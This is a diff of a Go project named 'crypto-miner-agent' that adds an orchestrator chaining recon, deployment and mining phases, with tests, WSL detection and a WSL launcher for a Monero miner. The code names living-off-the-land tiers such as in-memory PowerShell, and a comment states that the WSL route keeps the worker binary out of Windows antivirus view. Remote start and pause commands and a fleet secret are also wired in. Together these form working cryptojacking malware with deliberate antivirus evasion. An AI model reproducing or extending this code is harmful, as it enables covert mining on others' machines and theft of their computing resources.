||||
}
|
||||
if hooks.RunReconTier == nil {
|
||||
o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil)
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
result := hooks.RunReconTier(ctx, tier)
|
||||
duration := time.Since(start)
|
||||
o.mergeRecon(result.Snapshot)
|
||||
errMsg := result.Error
|
||||
if !result.OK && errMsg == "" {
|
||||
errMsg = "recon tier failed"
|
||||
}
|
||||
o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) {
|
||||
o.mu.RLock()
|
||||
lanes := o.policy.DeployLanes
|
||||
hooks := o.hooks
|
||||
o.mu.RUnlock()
|
||||
|
||||
for _, lane := range lanes {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
if hooks.RunDeployLane == nil {
|
||||
o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil)
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
ok, reason := hooks.RunDeployLane(ctx, lane)
|
||||
duration := time.Since(start)
|
||||
details := map[string]interface{}{"lane": lane}
|
||||
if reason != "" {
|
||||
details["reason"] = reason
|
||||
}
|
||||
o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details)
|
||||
if ok {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) {
|
||||
o.mu.Lock()
|
||||
defer o.mu.Unlock()
|
||||
if s.RiskScore > o.recon.RiskScore {
|
||||
o.recon.RiskScore = s.RiskScore
|
||||
}
|
||||
if s.CriticalExposed > o.recon.CriticalExposed {
|
||||
o.recon.CriticalExposed = s.CriticalExposed
|
||||
}
|
||||
if s.ExposedCount > o.recon.ExposedCount {
|
||||
o.recon.ExposedCount = s.ExposedCount
|
||||
}
|
||||
if s.LikelyCount > o.recon.LikelyCount {
|
||||
o.recon.LikelyCount = s.LikelyCount
|
||||
}
|
||||
if s.ServiceCount > o.recon.ServiceCount {
|
||||
o.recon.ServiceCount = s.ServiceCount
|
||||
}
|
||||
if s.OpenPortCount > o.recon.OpenPortCount {
|
||||
o.recon.OpenPortCount = s.OpenPortCount
|
||||
}
|
||||
if len(s.Details) > 0 {
|
||||
if o.recon.Details == nil {
|
||||
o.recon.Details = make(map[string]interface{}, len(s.Details))
|
||||
}
|
||||
for k, v := range s.Details {
|
||||
o.recon.Details[k] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) {
|
||||
o.mu.Lock()
|
||||
attempt := TierAttempt{
|
||||
Phase: string(phase),
|
||||
Tier: LOTLTier(tier),
|
||||
OK: ok,
|
||||
DurationMs: duration.Milliseconds(),
|
||||
Details: details,
|
||||
}
|
||||
if phase == OnionPhaseMining {
|
||||
attempt.Wallet = o.wallet
|
||||
}
|
||||
if !ok && errMsg != "" {
|
||||
attempt.Error = errMsg
|
||||
}
|
||||
o.attempts = append(o.attempts, attempt)
|
||||
report := o.buildReport(phase)
|
||||
reporter := o.hooks.ReportEvent
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
event := "onion_report"
|
||||
if !ok {
|
||||
event = "onion_fallback"
|
||||
}
|
||||
reporter(report, event)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) {
|
||||
o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true})
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport {
|
||||
attempts := make([]TierAttempt, len(o.attempts))
|
||||
copy(attempts, o.attempts)
|
||||
return TripleOnionReport{
|
||||
ActivePhase: phase,
|
||||
Gate: o.gate,
|
||||
Recon: o.recon,
|
||||
Attempts: attempts,
|
||||
Wallet: o.wallet,
|
||||
}
|
||||
}
|
||||
|
||||
// Report returns the current triple-onion snapshot.
|
||||
func (o *TripleOnionOrchestrator) Report() TripleOnionReport {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.buildReport("")
|
||||
}
|
||||
|
||||
// Attempts returns all recorded tier attempts across phases.
|
||||
func (o *TripleOnionOrchestrator) Attempts() []TierAttempt {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
out := make([]TierAttempt, len(o.attempts))
|
||||
copy(out, o.attempts)
|
||||
return out
|
||||
}
|
||||
|
||||
// GateDecisionSnapshot returns the last evaluated gate decision.
|
||||
func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.gate
|
||||
}
|
||||
|
||||
// Done reports whether Run has completed.
|
||||
func (o *TripleOnionOrchestrator) Done() bool {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.done
|
||||
}
|
||||
|
||||
// Policy returns the effective triple-onion policy.
|
||||
func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.policy
|
||||
}
|
||||
|
||||
// UpdateConfig refreshes wallet/runtime config without redeploy.
|
||||
func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
|
||||
o.mu.Lock()
|
||||
o.cfg = cfg
|
||||
o.wallet = strings.TrimSpace(cfg.Wallet)
|
||||
o.mu.Unlock()
|
||||
}
|
||||
186
agent/miner/triple_onion_test.go
Normal file
186
agent/miner/triple_onion_test.go
Normal file
@@ -0,0 +1,186 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestEvaluateTripleOnionGatesPatchFirstCritical(t *testing.T) {
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 25}
|
||||
|
||||
gate := EvaluateTripleOnionGates(policy, recon)
|
||||
if !gate.PatchFirst {
|
||||
t.Fatal("expected patch_first gate")
|
||||
}
|
||||
if !gate.SkipDeploy || !gate.SkipMining {
|
||||
t.Fatalf("patch_first should block deploy+mining: %+v", gate)
|
||||
}
|
||||
if gate.Reason == "" {
|
||||
t.Fatal("expected gate reason")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEvaluateTripleOnionGatesPatchFirstDisabled(t *testing.T) {
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
policy.PatchFirst = false
|
||||
recon := ReconSnapshot{CriticalExposed: 2, RiskScore: 50}
|
||||
|
||||
gate := EvaluateTripleOnionGates(policy, recon)
|
||||
if gate.SkipDeploy || gate.SkipMining {
|
||||
t.Fatalf("patch_first off should not block chains: %+v", gate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEvaluateTripleOnionGatesSkipMiningHighRisk(t *testing.T) {
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
policy.PatchFirst = false
|
||||
policy.SkipMiningOnHighRisk = true
|
||||
policy.HighRiskThreshold = 40
|
||||
recon := ReconSnapshot{RiskScore: 55}
|
||||
|
||||
gate := EvaluateTripleOnionGates(policy, recon)
|
||||
if gate.SkipMining {
|
||||
if gate.SkipDeploy {
|
||||
t.Fatal("high risk should only skip mining, not deploy")
|
||||
}
|
||||
} else {
|
||||
t.Fatalf("expected skip mining at risk 55 >= 40: %+v", gate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEvaluateTripleOnionGatesHighRiskBelowThreshold(t *testing.T) {
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
policy.PatchFirst = false
|
||||
policy.SkipMiningOnHighRisk = true
|
||||
policy.HighRiskThreshold = 60
|
||||
recon := ReconSnapshot{RiskScore: 45}
|
||||
|
||||
gate := EvaluateTripleOnionGates(policy, recon)
|
||||
if gate.SkipMining {
|
||||
t.Fatalf("risk 45 < 60 should not skip mining: %+v", gate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEvaluateTripleOnionGatesPatchFirstOverridesHighRisk(t *testing.T) {
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
policy.SkipMiningOnHighRisk = true
|
||||
recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 90}
|
||||
|
||||
gate := EvaluateTripleOnionGates(policy, recon)
|
||||
if !gate.SkipDeploy || !gate.SkipMining {
|
||||
t.Fatalf("critical CVE should block both chains: %+v", gate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyIsolatedMiningPolicySkipsHostPaths(t *testing.T) {
|
||||
out := ApplyIsolatedMiningPolicy(DefaultMiningTierPolicy())
|
||||
if len(out.TierOrder) == 0 {
|
||||
t.Fatal("expected tier order")
|
||||
}
|
||||
if out.TierOrder[0] != TierDockerLoad {
|
||||
t.Fatalf("isolated policy should start docker_load, got %v", out.TierOrder)
|
||||
}
|
||||
skip := make(map[LOTLTier]bool, len(out.SkipTiers))
|
||||
for _, t := range out.SkipTiers {
|
||||
skip[t] = true
|
||||
}
|
||||
for _, hostTier := range []LOTLTier{TierExeSubprocess, TierCPUInprocess, TierPSInMemory, TierDotnet} {
|
||||
if !skip[hostTier] {
|
||||
t.Fatalf("mine_isolated_tier should skip %s", hostTier)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyEnvTripleOnionOverrides(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_PATCH_FIRST", "false")
|
||||
t.Setenv("AETHERFORGE_SKIP_MINING", "true")
|
||||
t.Setenv("AETHERFORGE_MINE_ISOLATED", "1")
|
||||
t.Setenv("AETHERFORGE_HIGH_RISK_THRESHOLD", "75")
|
||||
|
||||
p := ApplyEnvTripleOnionOverrides(DefaultTripleOnionPolicy())
|
||||
if p.PatchFirst {
|
||||
t.Fatal("env should disable patch_first")
|
||||
}
|
||||
if !p.SkipMiningOnHighRisk {
|
||||
t.Fatal("env should enable skip mining")
|
||||
}
|
||||
if !p.MineIsolatedTier {
|
||||
t.Fatal("env should enable mine_isolated")
|
||||
}
|
||||
if p.HighRiskThreshold != 75 {
|
||||
t.Fatalf("threshold=%d want 75", p.HighRiskThreshold)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTripleOnionOrchestratorRunGatesMining(t *testing.T) {
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
policy.PatchFirst = false
|
||||
policy.SkipMiningOnHighRisk = true
|
||||
policy.HighRiskThreshold = 10
|
||||
|
||||
var miningStarted bool
|
||||
o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{
|
||||
RunReconTier: func(_ context.Context, tier string) ReconTierResult {
|
||||
if tier == "kev_scan" {
|
||||
return ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: ReconSnapshot{
|
||||
RiskScore: 80,
|
||||
CriticalExposed: 0,
|
||||
},
|
||||
}
|
||||
}
|
||||
return ReconTierResult{OK: true}
|
||||
},
|
||||
RunDeployLane: func(_ context.Context, _ string) (bool, string) {
|
||||
return false, "no targets"
|
||||
},
|
||||
RunMining: func(_ context.Context) {
|
||||
miningStarted = true
|
||||
},
|
||||
})
|
||||
|
||||
report := o.Run(context.Background())
|
||||
if miningStarted {
|
||||
t.Fatal("high risk gate should skip mining")
|
||||
}
|
||||
if !report.Gate.SkipMining {
|
||||
t.Fatalf("report gate should skip mining: %+v", report.Gate)
|
||||
}
|
||||
var sawMiningGate bool
|
||||
for _, a := range report.Attempts {
|
||||
if a.Phase == string(OnionPhaseMining) && a.Tier == "policy_gate" {
|
||||
sawMiningGate = true
|
||||
}
|
||||
}
|
||||
if !sawMiningGate {
|
||||
t.Fatal("expected gated mining attempt recorded")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTripleOnionOrchestratorDeployStopsOnSuccess(t *testing.T) {
|
||||
var deployCalls int
|
||||
policy := DefaultTripleOnionPolicy()
|
||||
policy.DeployLanes = []string{"docker", "wsl"}
|
||||
o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{
|
||||
RunReconTier: func(_ context.Context, _ string) ReconTierResult {
|
||||
return ReconTierResult{OK: true}
|
||||
},
|
||||
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
|
||||
deployCalls++
|
||||
if lane == "docker" {
|
||||
return true, "container runtime ready"
|
||||
}
|
||||
return false, "skipped"
|
||||
},
|
||||
RunMining: func(_ context.Context) {},
|
||||
})
|
||||
|
||||
o.Run(context.Background())
|
||||
if deployCalls != 1 {
|
||||
t.Fatalf("deploy should stop after first success, calls=%d", deployCalls)
|
||||
}
|
||||
}
|
||||
59
agent/miner/wsl_detect.go
Normal file
59
agent/miner/wsl_detect.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// WSLRuntimeInfo describes a detected WSL2 installation on Windows.
|
||||
type WSLRuntimeInfo struct {
|
||||
Available bool
|
||||
CLI string // path to wsl.exe
|
||||
Distros []string // registered distro names (first is default launch target)
|
||||
}
|
||||
|
||||
// WSLDetector probes WSL availability. Tests inject a mock via SetWSLDetector.
|
||||
var WSLDetector = DetectWSL
|
||||
|
||||
// SetWSLDetector restores the default detector when fn is nil.
|
||||
func SetWSLDetector(fn func() WSLRuntimeInfo) {
|
||||
if fn == nil {
|
||||
WSLDetector = DetectWSL
|
||||
return
|
||||
}
|
||||
WSLDetector = fn
|
||||
}
|
||||
|
||||
// DetectWSL checks for wsl.exe and at least one registered distro.
|
||||
func DetectWSL() WSLRuntimeInfo {
|
||||
if runtime.GOOS != "windows" {
|
||||
return WSLRuntimeInfo{}
|
||||
}
|
||||
path, err := exec.LookPath("wsl.exe")
|
||||
if err != nil {
|
||||
return WSLRuntimeInfo{}
|
||||
}
|
||||
out, err := func() ([]byte, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||
defer cancel()
|
||||
return exec.CommandContext(ctx, path, "-l", "-q").CombinedOutput()
|
||||
}()
|
||||
if err != nil {
|
||||
// WSL may be installed but no distros — still not usable for mining.
|
||||
return WSLRuntimeInfo{CLI: path}
|
||||
}
|
||||
var distros []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
name := strings.TrimSpace(line)
|
||||
if name != "" {
|
||||
distros = append(distros, name)
|
||||
}
|
||||
}
|
||||
if len(distros) == 0 {
|
||||
return WSLRuntimeInfo{CLI: path}
|
||||
}
|
||||
return WSLRuntimeInfo{Available: true, CLI: path, Distros: distros}
|
||||
}
|
||||
198
agent/miner/wsl_launcher.go
Normal file
198
agent/miner/wsl_launcher.go
Normal file
@@ -0,0 +1,198 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultWSLDistro = "Ubuntu"
|
||||
defaultWSLWorkerPath = "/opt/aetherforge/worker"
|
||||
wslSystemdUnitName = "aetherforge-miner.service"
|
||||
)
|
||||
|
||||
// wslExecCommand is exec.Command; tests override via SetWSLExecCommand.
|
||||
var wslExecCommand = exec.Command
|
||||
|
||||
// SetWSLExecCommand restores the default when fn is nil.
|
||||
func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
wslExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
wslExecCommand = fn
|
||||
}
|
||||
|
||||
// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e.
|
||||
// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS.
|
||||
//
|
||||
// Remote start_mining / pause can toggle the systemd user unit without spawning
|
||||
// a new process tree on each resume:
|
||||
//
|
||||
// wsl.exe -d <distro> -e systemctl --user start aetherforge-miner.service
|
||||
// wsl.exe -d <distro> -e systemctl --user stop aetherforge-miner.service
|
||||
//
|
||||
// Install the unit once under ~/.config/systemd/user/ in the target distro.
|
||||
// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with
|
||||
// the same AETHERFORGE_* env vars as the container tier (same XMR wallet).
|
||||
type WSLLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
wsl WSLRuntimeInfo
|
||||
distro string
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewWSLLauncher builds a launcher when WSL2 is available on Windows.
|
||||
func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) {
|
||||
if !wslRT.Available || wslRT.CLI == "" {
|
||||
return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)")
|
||||
}
|
||||
distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO"))
|
||||
if distro == "" && len(wslRT.Distros) > 0 {
|
||||
distro = wslRT.Distros[0]
|
||||
}
|
||||
if distro == "" {
|
||||
distro = defaultWSLDistro
|
||||
}
|
||||
return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil
|
||||
}
|
||||
|
||||
// Start launches mining inside WSL (idempotent while already running).
|
||||
func (l *WSLLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Prefer systemd user unit when installed in the distro.
|
||||
if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil {
|
||||
l.running = true
|
||||
log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro)
|
||||
return nil
|
||||
}
|
||||
|
||||
args := l.buildDirectExecArgs()
|
||||
cmd := wslExecCommand(l.wsl.CLI, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("wsl worker start failed: %w", err)
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *WSLLauncher) buildDirectExecArgs() []string {
|
||||
worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER"))
|
||||
if worker == "" {
|
||||
worker = defaultWSLWorkerPath
|
||||
}
|
||||
script := fmt.Sprintf("export %s; exec %s",
|
||||
strings.Join(l.wslEnv(), " "),
|
||||
worker,
|
||||
)
|
||||
return []string{"-d", l.distro, "-e", "bash", "-lc", script}
|
||||
}
|
||||
|
||||
func (l *WSLLauncher) wslEnv() []string {
|
||||
threads := l.cfg.EffectiveThreads()
|
||||
pairs := []string{
|
||||
"AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL,
|
||||
"AETHERFORGE_WALLET=" + l.cfg.Wallet,
|
||||
"AETHERFORGE_WORKER=" + l.cfg.WorkerName,
|
||||
"AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost,
|
||||
"AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort),
|
||||
"AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS),
|
||||
"AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass,
|
||||
"AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads),
|
||||
"AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess,
|
||||
"AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret,
|
||||
}
|
||||
if l.cfg.RVNWallet != "" {
|
||||
pairs = append(pairs,
|
||||
"AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet,
|
||||
"AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost,
|
||||
"AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort),
|
||||
"AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled),
|
||||
)
|
||||
}
|
||||
return pairs
|
||||
}
|
||||
|
||||
func (l *WSLLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
if err != nil {
|
||||
log.Printf("[wsl] worker exited: %v — host will fall back if configured", err)
|
||||
} else {
|
||||
log.Printf("[wsl] worker stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop halts the WSL workload (systemd unit or direct process).
|
||||
func (l *WSLLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
running := l.running
|
||||
l.mu.Unlock()
|
||||
if !running {
|
||||
return
|
||||
}
|
||||
_ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run()
|
||||
l.mu.Lock()
|
||||
if l.cmd != nil && l.cmd.Process != nil {
|
||||
_ = l.cmd.Process.Kill()
|
||||
}
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Running reports whether the launcher believes the WSL worker is active.
|
||||
func (l *WSLLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
|
||||
// ToggleWSLMining starts or stops the systemd user unit via wsl.exe.
|
||||
// Used by remote start_mining / pause when a WSL sidecar is the active tier.
|
||||
func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error {
|
||||
if !wslRT.Available || wslRT.CLI == "" {
|
||||
return fmt.Errorf("WSL2 not available")
|
||||
}
|
||||
if strings.TrimSpace(distro) == "" {
|
||||
if len(wslRT.Distros) > 0 {
|
||||
distro = wslRT.Distros[0]
|
||||
} else {
|
||||
distro = defaultWSLDistro
|
||||
}
|
||||
}
|
||||
verb := "stop"
|
||||
if start {
|
||||
verb = "start"
|
||||
}
|
||||
cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName)
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
64
agent/miner/wsl_launcher_test.go
Normal file
64
agent/miner/wsl_launcher_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestWSLLauncherStartUsesWslExe(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("WSL launcher tests require windows")
|
||||
}
|
||||
|
||||
var gotCLI string
|
||||
var gotArgs []string
|
||||
SetWSLExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
gotCLI = name
|
||||
gotArgs = append([]string(nil), args...)
|
||||
if len(args) >= 4 && args[3] == "systemctl" {
|
||||
return exec.Command("cmd", "/c", "exit 1")
|
||||
}
|
||||
return exec.Command("ping", "-n", "2", "127.0.0.1")
|
||||
})
|
||||
defer SetWSLExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
|
||||
WorkerName: "wsl-worker",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
}
|
||||
wslRT := WSLRuntimeInfo{Available: true, CLI: "wsl.exe", Distros: []string{"Ubuntu"}}
|
||||
|
||||
launcher, err := NewWSLLauncher(cfg, wslRT)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWSLLauncher: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if gotCLI != "wsl.exe" {
|
||||
t.Fatalf("CLI=%q want wsl.exe", gotCLI)
|
||||
}
|
||||
if !strings.Contains(strings.Join(gotArgs, " "), "AETHERFORGE_WALLET=") {
|
||||
t.Fatalf("expected wallet env in wsl command, args=%v", gotArgs)
|
||||
}
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewWSLLauncherUnavailable(t *testing.T) {
|
||||
_, err := NewWSLLauncher(config.RuntimeConfig{}, WSLRuntimeInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("expected error without WSL")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user